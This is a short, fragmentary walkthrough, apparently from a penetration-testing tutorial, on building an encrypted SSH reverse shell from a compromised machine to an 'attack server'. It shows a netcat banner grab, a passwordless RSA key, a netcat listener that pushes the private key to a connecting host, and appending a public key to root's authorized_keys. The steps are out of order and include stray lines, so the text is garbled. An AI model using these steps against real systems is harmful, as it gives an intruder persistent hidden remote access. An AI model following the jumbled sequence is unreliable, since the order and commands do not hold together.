Setting Up the SSH Reverse Shell

nc 192.168.1.100 22

SSH 1.99-OpenSSH_4.3

root

Setting Up Public/Private Keys

first create a public/private rsa key pair with an empty password, which allows us to automate our connection

create a netcat listener that will push the id_rsa file to a connecting system

append the id_rsa.pub file to the authorized_keys file on our attack server

cat id_rsa.pub >> /root/.ssh/authorized_keys

Setup on attack server for SSH connection => ssh-keygen -t rsa

connect an SSH client to the local listening port: ssh -p 44444 localhost

Launch the Encrypted Reverse Shell
